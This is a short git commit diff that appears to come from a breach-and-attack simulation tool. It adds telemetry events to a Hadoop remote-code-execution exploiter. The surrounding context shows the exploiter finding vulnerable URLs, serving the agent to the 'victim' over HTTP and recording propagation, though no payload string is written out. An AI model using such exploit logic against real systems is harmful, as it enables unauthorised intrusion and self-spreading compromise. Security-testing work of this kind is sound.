Agent: Publish Propagation and Exploitation events from Hadoop

This commit is contained in:
Ilija Lazoroski 2022-10-04 13:05:10 +02:00
parent 4709ae771b
commit fe864792f3
1 changed files with 14 additions and 0 deletions

View File

@ -40,11 +40,19 @@ class HadoopExploiter(WebRCE):
urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS) urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
self.add_vulnerable_urls(urls, True) self.add_vulnerable_urls(urls, True)
if not self.vulnerable_urls: if not self.vulnerable_urls:
self.publish_exploitation_event(
target=self.host.ip_addr,
exploitation_success=False,
)
return self.exploit_result return self.exploit_result
try: try:
monkey_path_on_victim = get_agent_dst_path(self.host) monkey_path_on_victim = get_agent_dst_path(self.host)
except KeyError: except KeyError:
self.publish_exploitation_event(
target=self.host.ip_addr,
exploitation_success=False,
)
return self.exploit_result return self.exploit_result
http_path, http_thread = HTTPTools.create_locked_transfer( http_path, http_thread = HTTPTools.create_locked_transfer(
@ -58,6 +66,12 @@ class HadoopExploiter(WebRCE):
self.add_executed_cmd(command) self.add_executed_cmd(command)
self.exploit_result.exploitation_success = True self.exploit_result.exploitation_success = True
self.exploit_result.propagation_success = True self.exploit_result.propagation_success = True
self.publish_exploitation_event(
target=self.host.ip_addr,
exploitation_success=True,
)
self.publish_propagation_event(target=self.host.ip_addr, propagation_success=True)
finally: finally:
http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop() http_thread.stop()